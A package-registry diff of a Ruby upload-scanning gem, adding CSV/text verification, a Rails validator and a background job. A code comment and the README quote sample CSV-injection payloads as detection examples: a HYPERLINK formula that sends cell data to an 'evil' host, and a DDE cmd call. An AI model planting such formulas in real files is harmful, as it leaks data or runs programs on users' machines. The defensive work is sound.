upload_inspector 0.5.0 → 0.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 9b0e10a78cf467be9c16a3473c90650ff67ceefe6d9bfeb1588a1f542ef5b929
4
- data.tar.gz: bfda69e532e725c160bca0a812d30e81453d9b5625a25818a0f2e3430d903b1d
3
+ metadata.gz: 32bbc96ecd5924e72c570dfe9451a9ce4dbf980d7f2ac780bc403e59f5b39c7b
4
+ data.tar.gz: e3c4fe65e48b3f3dae336a1a437ef00472da628f2cb2f20ceb32df128fefab6c
5
5
  SHA512:
6
- metadata.gz: d0fa0f9892334e56b765690e6dd3b7bd02be4811d5166be1b060f782e9ed87f051b858a7292b05eaa4e3cc5329f49888ea1178a5621c53e577899ecdac443e44
7
- data.tar.gz: 29baa541d866ccf67d8ae1d0a683d29f35ab4de27487bbf62f098bca24ec81c18bdbad8269ef646b3328cfd6eff0b99cc0b8ff0469c89df26f216f005fe5b019
6
+ metadata.gz: 5f2a04fab4bd60e0aee5bd35c817d0d52d62ce2b3403e9d27a9f9125abb0797334e0489da08870d5f9351dd937a0b086bead83b5bed638932aa7390007549f29
7
+ data.tar.gz: 60e984d468d91b985a362b74e874f4e3a023d7f747077f38167d30fe96ad9db3bae2e16afa38e02bcc22bfc95e648e3bd958c87e6a029b712fc91b0b9d22ae53
data/CHANGELOG.md CHANGED
@@ -1,5 +1,17 @@
1
1
  # Changelog
2
2
 
3
+ ## 0.6.0
4
+
5
+ - Text: `text/csv`, `text/tab-separated-values` and `text/plain` in `allowed_types` are verified:
6
+ valid UTF-8, no NUL/control characters, CSV/TSV cells that would run as a spreadsheet
7
+ function or DDE rejected (`:csv_formula`, opt out with `allow_csv_formulas: true`). New reasons
8
+ `:text_too_large`, `:text_unsupported_encoding`, `:text_binary_content`, `:csv_formula`.
9
+ - Rails: `validates :file, upload_inspector: {...}` checks request uploads before save;
10
+ `UploadInspector::InspectJob` checks stored attachments in the background, purges unsafe ones
11
+ and calls `on_unsafe`. Both autoload; Rails is still not a dependency.
12
+ - `Result#message`: end-user message per reason, translatable under `upload_inspector.errors.*`.
13
+ - Checking an IO now rewinds it afterwards, so it can still be stored (`attach(io:)`).
14
+
3
15
  ## 0.5.0
4
16
 
5
17
  - HEIC, HEIF, AVIF, MP4 and QuickTime in `allowed_types` are now structurally verified (box
data/README.md CHANGED
@@ -8,10 +8,11 @@ A file is accepted only when its structure is proven to match a known-safe shape
8
8
  unparsable, encrypted, oversized, or erroring is rejected. Pure Ruby (`marcel`, `rubyzip`), no AV engine,
9
9
  no native parsers, nothing is rendered or executed.
10
10
 
11
- > **Not an antivirus.** It blocks structural attack vectors (disguised executables, macros, PDF
12
- > JavaScript, OLE objects, remote templates, DDE, zip bombs, image polyglots, scripted SVG). It does not detect malware signatures or
13
- > exploits hidden inside otherwise valid content. Pair it with an AV scanner (e.g. Amazon GuardDuty
14
- > Malware Protection for S3, endpoint AV) when you need that.
11
+ > **Not an antivirus.** It blocks structural attack vectors: disguised executables, macros, PDF
12
+ > JavaScript, OLE objects, remote templates, DDE, zip bombs, image polyglots, scripted SVG and
13
+ > CSV injection. It does not detect malware signatures or exploits hidden inside otherwise valid
14
+ > content. Pair it with an AV scanner (e.g. Amazon GuardDuty Malware Protection for S3, endpoint
15
+ > AV) when you need that.
15
16
 
16
17
  ## What it checks
17
18
 
@@ -23,6 +24,7 @@ no native parsers, nothing is rendered or executed.
23
24
  | PNG / JPEG / GIF / WebP | container walked block by block (nothing is decoded): every length must stay inside the file, declared dimensions within `max_image_pixels`, and nothing may follow the end of the image (appended scripts or archives). JPEG files holding several images back to back (HDR gain maps, MPF) are accepted; other trailers (motion-photo video, vendor data) are rejected, re-encode those |
24
25
  | HEIC / HEIF / AVIF / MP4 / QuickTime | box structure walked (nothing is decoded): every box length must stay inside its parent and the boxes must cover the file exactly (no appended data), `ftyp` must come first and name a brand of the detected type, images need a `meta` box and video a `moov` box, declared image (`ispe`) and track (`tkhd`) dimensions within `max_image_pixels`. Files whose brand Marcel does not know are reported as QuickTime and rejected unless the brand is `qt `; data hidden inside a box (e.g. a zip in a trailing `free` box) is not detected |
25
26
  | SVG | static only: rejects script elements, `on*` handlers, `javascript:`/`data:` links (also set through animation), XHTML/MathML content, stylesheet processing instructions, DTDs other than the standard W3C DOCTYPE, CSS `@import`/escapes, and any reference outside the file (`href`, `src`, CSS `url()`) except `#fragment`, embedded `data:image/png|jpeg|gif|webp` and http(s)/mailto links on `<a>` |
27
+ | CSV / TSV / TXT | valid UTF-8 (BOM allowed; UTF-16 and legacy code pages rejected), no NUL or control characters other than tab/CR/LF, at most `max_inflate_size`. CSV/TSV also reject cells a spreadsheet would run as a function call or DDE (`=HYPERLINK(...)`, `+cmd\|...`, `@SUM(...)`), found after any comma, semicolon or tab and inside quotes; negative numbers, phone numbers, `@handles` and plain arithmetic are accepted. `allow_csv_formulas: true` turns this off |
26
28
  | zip | path traversal, symlinks, encrypted entries, duplicates, entry/total size and compression-ratio limits, nested archives; every member extracted (bounded) and inspected with the same policy |
27
29
  | Others | rejected unless listed in `allow_unverifiable` (type + extension check only) |
28
30
 
@@ -36,8 +38,8 @@ Text-only PDFs are unaffected. For image-heavy PDFs (scans, `.ai` artwork) keep
36
38
  MB, or expect to ask users to re-export. Skipping stream data is not an option without
37
39
  following the cross-reference table the way a reader does, because objects can hide in it.
38
40
 
39
- Images, SVG and media are verified when their MIME type is in `allowed_types`
40
- (`image/png image/jpeg image/gif image/webp image/svg+xml image/heic image/heif image/avif video/mp4 video/quicktime`). Listing them in `allow_unverifiable`
41
+ Images, SVG, media and text are verified when their MIME type is in `allowed_types`
42
+ (`image/png image/jpeg image/gif image/webp image/svg+xml image/heic image/heif image/avif video/mp4 video/quicktime text/csv text/tab-separated-values text/plain`). Listing them in `allow_unverifiable`
41
43
  instead skips these checks.
42
44
 
43
45
  ## Install
@@ -50,37 +52,105 @@ Requires Ruby >= 3.2.
50
52
 
51
53
  ## Usage
52
54
 
55
+ - [Quick start](#quick-start)
56
+ - [What you can pass in](#what-you-can-pass-in)
57
+ - [Rails validator and job](#rails-validator-and-job)
58
+ - [Error messages](#error-messages)
59
+ - [S3 (presigned URL uploads)](#s3-presigned-url-uploads)
60
+ - [Protecting the server from large files](#protecting-the-server-from-large-files)
61
+ - [Policy options](#policy-options)
62
+
63
+ ### Quick start
64
+
53
65
  ```ruby
54
- result = UploadInspector.check(
55
- '/tmp/upload.pdf',
56
- filename: 'design.pdf', # client-supplied name
57
- allowed_types: %w[application/pdf application/zip],
58
- )
66
+ ALLOWED_TYPES = %w[application/pdf image/png image/jpeg text/csv].freeze
67
+
68
+ result = UploadInspector.check(params[:file], allowed_types: ALLOWED_TYPES)
59
69
 
60
- result.safe? # => true / false
61
- result.reason # => :pdf_active_content, :pdf_unsafe_uri, :type_not_allowed, ... (nil when safe)
62
- result.detail # => human-readable hint
63
- result.detected_type # => "application/pdf"
70
+ if result.safe?
71
+ # store the file
72
+ else
73
+ render json: { error: result.message }, status: :unprocessable_entity
74
+ end
64
75
  ```
65
76
 
66
- ### Rails uploads, files and IO
77
+ Every call returns a `Result` and never raises on a hostile file:
78
+
79
+ | Method | Value |
80
+ |---|---|
81
+ | `safe?` | `true` when the file is accepted |
82
+ | `reason` | why it was rejected, e.g. `:pdf_active_content`, `:extension_mismatch` (`nil` when safe) |
83
+ | `message` | end-user message for the reason, e.g. `"is password-protected"` (`nil` when safe) |
84
+ | `detail` | technical hint for logs, not for end users |
85
+ | `detected_type` | the real MIME type, e.g. `"application/pdf"` |
86
+
87
+ Only types in `allowed_types` are accepted (default: PDF only). See [What it checks](#what-it-checks)
88
+ for the types that get a structural check.
67
89
 
68
- `check` takes a path or the upload object itself. Rails/Rack uploads and Active Storage carry the
69
- client-supplied name; a path, `File`, `Tempfile` or plain IO needs `filename:`.
90
+ ### What you can pass in
91
+
92
+ `check` takes the upload object itself. Rails/Rack uploads and Active Storage carry the
93
+ client-supplied name; anything else needs `filename:` (its extension must match the content).
70
94
 
71
95
  ```ruby
72
- # Controller: ActionDispatch::Http::UploadedFile (name from original_filename)
73
- result = UploadInspector.check(params[:file], allowed_types: ALLOWED_TYPES)
96
+ # Controller upload (ActionDispatch::Http::UploadedFile)
97
+ UploadInspector.check(params[:file], allowed_types: ALLOWED_TYPES)
74
98
 
75
- # Active Storage attachment or blob (downloaded to a temp file for the check)
76
- result = UploadInspector.check(record.document, allowed_types: ALLOWED_TYPES)
77
- record.document.purge_later unless result.safe?
99
+ # Active Storage attachment or blob (downloaded to a temp file first)
100
+ UploadInspector.check(contract.document, allowed_types: ALLOWED_TYPES)
78
101
 
79
- # File / Tempfile / StringIO (IO is copied to a temp file, at most max_file_size + 1 bytes)
80
- result = UploadInspector.check(io, filename: "report.pdf", allowed_types: ALLOWED_TYPES)
102
+ # Path, File, Tempfile, StringIO or any IO
103
+ UploadInspector.check("/tmp/upload.bin", filename: "report.pdf", allowed_types: ALLOWED_TYPES)
104
+ UploadInspector.check(io, filename: "report.pdf", allowed_types: ALLOWED_TYPES)
81
105
  ```
82
106
 
83
- Run it in a background job for large files.
107
+ Inspection takes up to `timeout` (60 s by default): check large files in a background job.
108
+
109
+ ### Rails validator and job
110
+
111
+ Both load on first use; the gem does not depend on Rails.
112
+
113
+ ```ruby
114
+ class Contract < ApplicationRecord
115
+ has_one_attached :document
116
+
117
+ # Checks files uploaded with this request, before save. Keep it to small files.
118
+ validates :document, upload_inspector: { allowed_types: ALLOWED_TYPES }
119
+ end
120
+ ```
121
+
122
+ The error type is the rejection reason (`errors.details` shows `{ error: :pdf_active_content }`),
123
+ the message comes from `result.message`. The validator covers `UploadedFile`s and
124
+ `attach(io:, filename:)`. Blobs already in storage (direct uploads, signed blob ids) are skipped,
125
+ and form strings are never read as server paths. Check those with the job:
126
+
127
+ ```ruby
128
+ # After save, the file is in storage. Unsafe attachments are purged.
129
+ UploadInspector::InspectJob.perform_later(contract, "document", allowed_types: ALLOWED_TYPES)
130
+
131
+ # React to a rejection: subclass and override on_unsafe (called after the purge).
132
+ class InspectUploadJob < UploadInspector::InspectJob
133
+ def on_unsafe(record, name, attachment, result)
134
+ UploadMailer.rejected(record, attachment.filename.to_s, result.message).deliver_later
135
+ end
136
+ end
137
+ ```
138
+
139
+ Pass `purge: false` to keep unsafe files. Options are the same keywords as `check`.
140
+
141
+ ### Error messages
142
+
143
+ `result.message` gives an end-user message for the reason ("is password-protected", "does not
144
+ match its file extension", ...). Translate or override any of them under
145
+ `upload_inspector.errors.<reason>`, with `upload_inspector.errors.default` as the fallback:
146
+
147
+ ```yaml
148
+ vi:
149
+ upload_inspector:
150
+ errors:
151
+ default: "chứa nội dung không được phép"
152
+ too_large: "quá lớn"
153
+ ```
84
154
 
85
155
  ### S3 (presigned URL uploads)
86
156
 
@@ -90,12 +160,17 @@ rejected without downloading), downloads the object pinned to that ETag, and ins
90
160
  `client` is any `Aws::S3::Client` (aws-sdk-s3 is not a dependency of this gem).
91
161
 
92
162
  ```ruby
163
+ s3 = Aws::S3::Client.new
164
+
93
165
  result = UploadInspector.check_s3(
94
- client: Aws::S3::Client.new, bucket: "uploads", key: "incoming/abc/report.pdf",
95
- filename: "report.pdf", # defaults to the key basename
96
- version_id: nil, # pin a version on versioned buckets
166
+ client: s3,
167
+ bucket: "uploads",
168
+ key: "incoming/abc/report.pdf",
169
+ filename: "report.pdf", # optional, defaults to the key basename
170
+ version_id: nil, # optional, pin a version on versioned buckets
97
171
  allowed_types: ALLOWED_TYPES,
98
172
  )
173
+
99
174
  s3.delete_object(bucket: "uploads", key: "incoming/abc/report.pdf") unless result.safe?
100
175
  ```
101
176
 
@@ -140,8 +215,9 @@ to bound is disk and time:
140
215
  | `max_file_size` | 500 MB |
141
216
  | `max_zip_entries` / `max_zip_entry_size` / `max_zip_total_size` | 5 000 / 200 MB / 1 GB |
142
217
  | `max_compression_ratio` | 100 (entries ≥ 1 MB) |
143
- | `max_inflate_size` | 50 MB per PDF object stream / OOXML XML part / SVG file |
218
+ | `max_inflate_size` | 50 MB per PDF object stream / OOXML XML part / SVG or text file |
144
219
  | `max_image_pixels` | 100 000 000 (declared width × height) |
220
+ | `allow_csv_formulas` | `false` |
145
221
  | `timeout` / `cpu_limit` | 60 s / 60 s |
146
222
  | `memory_limit` | 1 GB (`RLIMIT_DATA`, Linux only) |
147
223
 
@@ -159,22 +235,17 @@ Tests build hostile-shaped samples in memory (no real malware, no AV test signat
159
235
  Run them in a container or CI rather than on a workstation with endpoint AV:
160
236
 
161
237
  ```sh
162
- docker run --rm -v "$PWD":/src:ro ruby:3.3-slim \
163
- bash -c 'cp -r /src /app && cd /app && bundle install && bundle exec rake test'
238
+ docker run --rm -v "$PWD":/src:ro ruby:3.3 \
239
+ bash -c 'cp -r /src /app && cd /app && rm -rf vendor .bundle && bundle install && bundle exec rake test'
164
240
  ```
165
241
 
166
- CI runs the suite on Ruby 3.2 / 3.3 / 3.4 against rubyzip 2.3 and 3.x.
242
+ CI runs the suite on Ruby 3.2 / 3.3 / 3.4 against rubyzip 2.3 and 3.x. The Rails helper tests
243
+ use `activemodel` / `activejob` from the Gemfile (development only).
167
244
 
168
245
  `test/sample_virus_malware.rb` is the hostile-sample corpus: every attack shape with its expected
169
246
  verdict, plus known gaps (skipped until fixed). `bundle exec rake samples[DIR]` writes the inert
170
247
  samples to disk (default `tmp/samples`) to cross-check against real readers or other scanners.
171
248
 
172
- ### Releasing
173
-
174
- 1. Bump `lib/upload_inspector/version.rb`, update `CHANGELOG.md`, merge to `main`.
175
- 2. Actions → **Release** → *Run workflow*. It runs CI, tags `vX.Y.Z` and publishes via
176
- rubygems.org Trusted Publishing.
177
-
178
249
  ## License
179
250
 
180
251
  MIT
@@ -0,0 +1,32 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'active_job'
4
+
5
+ module UploadInspector
6
+ # Inspects the Active Storage attachments of a record in the background and purges the
7
+ # unsafe ones. Fits direct uploads and large files, which should not be checked in a request.
8
+ #
9
+ # # after record.save (the file is in storage once save returns)
10
+ # UploadInspector::InspectJob.perform_later(record, 'document', allowed_types: %w[application/pdf])
11
+ #
12
+ # Options are UploadInspector.check keywords; purge: false keeps unsafe files (e.g. for
13
+ # review). To react to a rejection (notify the uploader, flag the record), subclass and
14
+ # override #on_unsafe, then enqueue the subclass.
15
+ class InspectJob < ActiveJob::Base
16
+ def perform(record, name, purge: true, **options)
17
+ attached = record.public_send(name)
18
+ attachments = attached.respond_to?(:attachments) ? attached.attachments.to_a : [attached.attachment].compact
19
+ attachments.each do |attachment|
20
+ result = UploadInspector.check(attachment, **options)
21
+ next if result.safe?
22
+
23
+ attachment.purge if purge
24
+ on_unsafe(record, name, attachment, result)
25
+ end
26
+ end
27
+
28
+ # Called for each unsafe attachment, after it was purged (its filename and other
29
+ # attributes are still readable). result.reason / result.message say why.
30
+ def on_unsafe(record, name, attachment, result); end
31
+ end
32
+ end
@@ -68,6 +68,8 @@ module UploadInspector
68
68
  ImageInspector.new(policy).verify!(path, detected)
69
69
  elsif verifiable && IsoBmffInspector::TYPES.include?(detected)
70
70
  IsoBmffInspector.new(policy).verify!(path, detected)
71
+ elsif verifiable && TextInspector::TYPES.include?(detected)
72
+ TextInspector.new(policy).verify!(path, detected)
71
73
  elsif verifiable && detected == SvgInspector::TYPE
72
74
  SvgInspector.new(policy).verify!(path)
73
75
  elsif !policy.allow_unverifiable.include?(detected)
@@ -0,0 +1,40 @@
1
+ # frozen_string_literal: true
2
+
3
+ module UploadInspector
4
+ # End-user messages for rejection reasons, worded to follow an attribute name
5
+ # ("Document is password-protected"). Override or translate them under
6
+ # upload_inspector.errors.<reason> (fallback upload_inspector.errors.default) in any I18n
7
+ # locale file; these English strings apply when no translation exists or I18n is not loaded.
8
+ module Messages
9
+ DAMAGED = 'is damaged or not a valid file'
10
+ NOT_CHECKED = 'could not be checked, please try again'
11
+ DEFAULTS = {
12
+ default: 'contains content that is not allowed',
13
+ type_not_allowed: 'is not an allowed file type',
14
+ unverifiable_type: 'is not an allowed file type',
15
+ extension_mismatch: 'does not match its file extension',
16
+ too_large: 'is too large',
17
+ text_too_large: 'is too large',
18
+ svg_too_large: 'is too large',
19
+ empty_file: 'is empty',
20
+ pdf_encrypted: 'is password-protected',
21
+ zip_encrypted_entry: 'is password-protected',
22
+ image_too_many_pixels: 'has image dimensions that are too large',
23
+ text_unsupported_encoding: 'must be saved as UTF-8 text',
24
+ text_binary_content: 'is not a text file',
25
+ csv_formula: 'contains spreadsheet formulas',
26
+ image_malformed: DAMAGED, media_malformed: DAMAGED, pdf_unparsable: DAMAGED,
27
+ zip_unparsable: DAMAGED, zip_empty: DAMAGED, svg_unparsable: DAMAGED, ooxml_malformed_xml: DAMAGED,
28
+ timeout: NOT_CHECKED, resource_limit: NOT_CHECKED, inspection_failed: NOT_CHECKED, sandbox_failed: NOT_CHECKED,
29
+ }.freeze
30
+
31
+ module_function
32
+
33
+ def for(reason)
34
+ english = DEFAULTS.fetch(reason.to_sym, DEFAULTS[:default])
35
+ return english unless defined?(I18n)
36
+
37
+ I18n.t("upload_inspector.errors.#{reason}", default: [:'upload_inspector.errors.default', english])
38
+ end
39
+ end
40
+ end
@@ -12,7 +12,7 @@ module UploadInspector
12
12
  Policy = Data.define(
13
13
  :allowed_types, :allow_unverifiable, :max_file_size,
14
14
  :max_zip_entries, :max_zip_entry_size, :max_zip_total_size, :max_compression_ratio,
15
- :max_inflate_size, :max_image_pixels, :timeout, :memory_limit, :cpu_limit
15
+ :max_inflate_size, :max_image_pixels, :allow_csv_formulas, :timeout, :memory_limit, :cpu_limit
16
16
  )
17
17
 
18
18
  class Policy
@@ -24,8 +24,9 @@ module UploadInspector
24
24
  max_zip_entry_size: 200 * MEGABYTE,
25
25
  max_zip_total_size: 1024 * MEGABYTE,
26
26
  max_compression_ratio: 100,
27
- max_inflate_size: 50 * MEGABYTE, # per PDF object stream / per OOXML XML part / per SVG file
27
+ max_inflate_size: 50 * MEGABYTE, # per PDF object stream / OOXML XML part / SVG or text file
28
28
  max_image_pixels: 100_000_000, # declared width x height of an image or animation frame
29
+ allow_csv_formulas: false, # true accepts CSV/TSV cells a spreadsheet would run as formulas
29
30
  timeout: 60, # seconds, wall clock (sandbox only)
30
31
  memory_limit: 1024 * MEGABYTE, # RLIMIT_DATA for the sandbox child; nil disables
31
32
  cpu_limit: 60, # seconds, RLIMIT_CPU for the sandbox child; nil disables
@@ -12,6 +12,9 @@ module UploadInspector
12
12
  end
13
13
 
14
14
  def safe? = safe
15
+
16
+ # End-user message for the rejection (see Messages), nil when safe.
17
+ def message = reason && Messages.for(reason)
15
18
  end
16
19
 
17
20
  # Raised internally by inspectors; converted to a rejected Result at the boundary.
@@ -41,11 +41,13 @@ module UploadInspector
41
41
  end
42
42
 
43
43
  # Copies one byte past the limit so an oversized stream is still rejected as :too_large
44
- # without buffering all of it.
44
+ # without buffering all of it. The IO is rewound afterwards: the caller usually stores it
45
+ # next (e.g. Active Storage attach(io:)), which would otherwise save an empty file.
45
46
  def copy_to_tempfile(io, max_size)
46
47
  Tempfile.create('upload_inspector', binmode: true) do |tmp|
47
48
  io.rewind if io.respond_to?(:rewind)
48
49
  IO.copy_stream(io, tmp, max_size + 1)
50
+ io.rewind if io.respond_to?(:rewind)
49
51
  tmp.flush
50
52
  yield tmp.path
51
53
  end
@@ -0,0 +1,54 @@
1
+ # frozen_string_literal: true
2
+
3
+ module UploadInspector
4
+ # Plain text, CSV and TSV. Text has no magic bytes, so the type comes from the name alone;
5
+ # this check proves the content really is text:
6
+ #
7
+ # - valid UTF-8 (a UTF-8 BOM is allowed; UTF-16 and legacy code pages are rejected)
8
+ # - no NUL or control characters other than tab, CR and LF, so a binary cannot pass as .csv
9
+ # - CSV/TSV only, unless allow_csv_formulas: no cell that a spreadsheet would run as a
10
+ # formula calling a function or another program (CSV injection), e.g.
11
+ # =HYPERLINK("http://evil/?"&A1), +cmd|' /C calc'!A0, @SUM(1)
12
+ class TextInspector
13
+ include Rejectable
14
+
15
+ TYPES = %w[text/plain text/csv text/tab-separated-values].freeze
16
+ SPREADSHEET_TYPES = %w[text/csv text/tab-separated-values].freeze
17
+ UTF8_BOM = "\xEF\xBB\xBF".b
18
+ UTF16_BOM = /\A(?:\xFF\xFE|\xFE\xFF)/n
19
+ CONTROL = /[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/
20
+ # A cell may start after any delimiter Excel splits on (comma, semicolon in European
21
+ # locales, tab) or a line break, optionally quoted and padded. Every delimiter counts as a
22
+ # possible cell start, also inside quoted text: over-approximating can only reject more. A
23
+ # quoted value runs to its closing quote (across lines), an unquoted one to the next delimiter.
24
+ FORMULA_CELL = /(?:\A|[,;\t\r\n])[ \t]*(?:"\s*([=+\-@](?:[^"]|"")*)|([=+\-@][^,;\t\r\n]*))/
25
+ # Running anything needs a function call (a name right before "(") or DDE
26
+ # (program|topic!item); arithmetic, negative numbers, phone numbers like +1 (555) 010 and
27
+ # @handles stay accepted.
28
+ FORMULA_ACTION = /\p{L}[\p{L}\d_.]*\(|\|/
29
+
30
+ def initialize(policy)
31
+ @policy = policy
32
+ end
33
+
34
+ def verify!(path, type)
35
+ reject!(:text_too_large, "exceeds #{@policy.max_inflate_size} bytes") if File.size(path) > @policy.max_inflate_size
36
+
37
+ text = File.binread(path)
38
+ reject!(:text_unsupported_encoding, 'UTF-16') if text.match?(UTF16_BOM)
39
+ text = text.delete_prefix(UTF8_BOM).force_encoding(Encoding::UTF_8)
40
+ reject!(:text_unsupported_encoding, 'not valid UTF-8') unless text.valid_encoding?
41
+ reject!(:text_binary_content, 'control characters') if text.match?(CONTROL)
42
+ check_formulas!(text) if SPREADSHEET_TYPES.include?(type) && !@policy.allow_csv_formulas
43
+ end
44
+
45
+ private
46
+
47
+ def check_formulas!(text)
48
+ text.scan(FORMULA_CELL) do |quoted, bare|
49
+ cell = quoted || bare
50
+ reject!(:csv_formula, cell[0, 40]) if cell.match?(FORMULA_ACTION)
51
+ end
52
+ end
53
+ end
54
+ end
@@ -0,0 +1,46 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'active_model'
4
+
5
+ # Rejects unsafe files uploaded through the request, before the record is saved:
6
+ #
7
+ # validates :document, upload_inspector: { allowed_types: %w[application/pdf] }
8
+ #
9
+ # Works for Active Storage attachments (has_one_attached / has_many_attached) and plain
10
+ # attributes holding an uploaded file or IO. Options are UploadInspector.check keywords
11
+ # (Policy options, sandbox:). The error type is the rejection reason (errors.details shows
12
+ # e.g. { error: :pdf_active_content }) with the message from UploadInspector::Messages.
13
+ #
14
+ # The check runs inside the request: keep it to small files. Blobs uploaded directly to
15
+ # storage (signed ids, direct uploads) are not here yet; check those with InspectJob.
16
+ class UploadInspectorValidator < ActiveModel::EachValidator
17
+ CHECK_OPTIONS = [*UploadInspector::Policy::DEFAULTS.keys, :sandbox].freeze
18
+
19
+ def validate_each(record, attribute, value)
20
+ uploads(record, attribute, value).each do |source, filename|
21
+ result = UploadInspector.check(source, filename:, **options.slice(*CHECK_OPTIONS))
22
+ record.errors.add(attribute, result.reason, message: result.message) unless result.safe?
23
+ end
24
+ end
25
+
26
+ private
27
+
28
+ # [source, filename] pairs for files that arrived with this request.
29
+ def uploads(record, attribute, value)
30
+ change = record.attachment_changes&.[](attribute.to_s) if record.respond_to?(:attachment_changes)
31
+ pending = if change
32
+ change.respond_to?(:attachables) ? change.attachables : [change.attachable]
33
+ else
34
+ value.is_a?(Array) ? value : [value]
35
+ end
36
+ pending.filter_map do |attachable|
37
+ if attachable.is_a?(Hash) # attach(io:, filename:)
38
+ [attachable.fetch(:io), attachable.fetch(:filename).to_s]
39
+ elsif attachable.respond_to?(:original_filename) || attachable.respond_to?(:read)
40
+ [attachable, nil]
41
+ end
42
+ # Anything else (a blob, a signed blob id, a String) is not a request upload. Strings
43
+ # are never treated as paths: a form value must not make the server read its own files.
44
+ end
45
+ end
46
+ end
@@ -1,5 +1,5 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  module UploadInspector
4
- VERSION = '0.5.0'
4
+ VERSION = '0.6.0'
5
5
  end
@@ -7,6 +7,7 @@ require 'zlib'
7
7
 
8
8
  require_relative 'upload_inspector/version'
9
9
  require_relative 'upload_inspector/result'
10
+ require_relative 'upload_inspector/messages'
10
11
  require_relative 'upload_inspector/policy'
11
12
  require_relative 'upload_inspector/xml_scanner'
12
13
  require_relative 'upload_inspector/pdf_object_parser'
@@ -14,6 +15,7 @@ require_relative 'upload_inspector/pdf_inspector'
14
15
  require_relative 'upload_inspector/svg_inspector'
15
16
  require_relative 'upload_inspector/image_inspector'
16
17
  require_relative 'upload_inspector/iso_bmff_inspector'
18
+ require_relative 'upload_inspector/text_inspector'
17
19
  require_relative 'upload_inspector/ooxml_inspector'
18
20
  require_relative 'upload_inspector/zip_inspector'
19
21
  require_relative 'upload_inspector/inspector'
@@ -25,6 +27,9 @@ require_relative 'upload_inspector/s3'
25
27
  # Only content proven to match a known-safe structure is accepted; anything
26
28
  # unknown, unparsable, or erroring is rejected.
27
29
  module UploadInspector
30
+ # Rails helpers, loaded on first use so the gem does not depend on Rails.
31
+ autoload :InspectJob, File.expand_path('upload_inspector/inspect_job', __dir__)
32
+
28
33
  # Inspects an upload. Never raises on hostile input: always returns a Result.
29
34
  #
30
35
  # UploadInspector.check('/tmp/x.pdf', filename: 'design.pdf', allowed_types: ['application/pdf'])
@@ -58,3 +63,5 @@ module UploadInspector
58
63
  S3.check(client:, bucket:, key:, filename:, version_id:, sandbox:, policy: Policy.new(**policy_options))
59
64
  end
60
65
  end
66
+
67
+ autoload :UploadInspectorValidator, File.expand_path('upload_inspector/upload_inspector_validator', __dir__)
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: upload_inspector
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.5.0
4
+ version: 0.6.0
5
5
  platform: ruby
6
6
  authors:
7
7
  - Minh Doan
@@ -44,21 +44,15 @@ dependencies:
44
44
  - - "<"
45
45
  - !ruby/object:Gem::Version
46
46
  version: '4'
47
- description: |
48
- Checks uploaded files against an allowlist, verifies their detected type against the file
49
- extension, and applies format-specific structural checks. Rejects risky PDF content such as
50
- scripts and embedded files; Office macros, external relationships, and DDE fields; scripted
51
- SVGs; malformed or trailing data in PNG, JPEG, GIF, WebP, HEIC, AVIF, MP4 and QuickTime
52
- files, and oversized declared dimensions; and unsafe zip archives, including path traversal
53
- and decompression bombs. Inspection runs in a resource-limited child process. Pure Ruby; it
54
- is not an antivirus and does not detect malware signatures.
55
-
56
- Usage:
57
- UploadInspector.check(params[:file], allowed_types: %w[application/pdf image/heic video/mp4])
58
- UploadInspector.check(record.document, allowed_types: ...) # Active Storage
59
- UploadInspector.check(io, filename: "a.pdf", allowed_types: ...)
60
- UploadInspector.check_s3(client: Aws::S3::Client.new, bucket: "b", key: "k.pdf", allowed_types: ...)
61
- Each returns a Result: safe?, reason, detail, detected_type.
47
+ description: 'Fail-closed checks for untrusted uploads: the real file type must be
48
+ allowlisted and match the extension, and PDF, Office, zip, SVG, PNG, JPEG, GIF,
49
+ WebP, HEIC, AVIF, MP4 and QuickTime files are verified structurally (scripts, macros,
50
+ external links, appended data, zip and pixel bombs are rejected), as are CSV/TXT
51
+ files (UTF-8 only, no binary, no CSV injection). Works with file paths, Rails uploads,
52
+ Active Storage, any IO and S3 objects uploaded through presigned URLs, and ships
53
+ a Rails validator and background job. Inspection runs in a resource-limited child
54
+ process. Pure Ruby, not an antivirus. If this gem helps you, a star on GitHub is
55
+ much appreciated! Usage and options: https://github.com/akarui2004/upload_inspector#usage'
62
56
  email:
63
57
  - minhdpc@gmail.com
64
58
  executables: []
@@ -70,8 +64,10 @@ files:
70
64
  - README.md
71
65
  - lib/upload_inspector.rb
72
66
  - lib/upload_inspector/image_inspector.rb
67
+ - lib/upload_inspector/inspect_job.rb
73
68
  - lib/upload_inspector/inspector.rb
74
69
  - lib/upload_inspector/iso_bmff_inspector.rb
70
+ - lib/upload_inspector/messages.rb
75
71
  - lib/upload_inspector/ooxml_inspector.rb
76
72
  - lib/upload_inspector/pdf_inspector.rb
77
73
  - lib/upload_inspector/pdf_object_parser.rb
@@ -81,6 +77,8 @@ files:
81
77
  - lib/upload_inspector/sandbox.rb
82
78
  - lib/upload_inspector/source.rb
83
79
  - lib/upload_inspector/svg_inspector.rb
80
+ - lib/upload_inspector/text_inspector.rb
81
+ - lib/upload_inspector/upload_inspector_validator.rb
84
82
  - lib/upload_inspector/version.rb
85
83
  - lib/upload_inspector/xml_scanner.rb
86
84
  - lib/upload_inspector/zip_inspector.rb
@@ -111,5 +109,5 @@ rubygems_version: 3.5.22
111
109
  signing_key:
112
110
  specification_version: 4
113
111
  summary: Fail-closed structural inspection of untrusted uploads (PDF, Office, zip,
114
- images, HEIC/AVIF, MP4/MOV, S3).
112
+ images, video, CSV, Rails, S3).
115
113
  test_files: []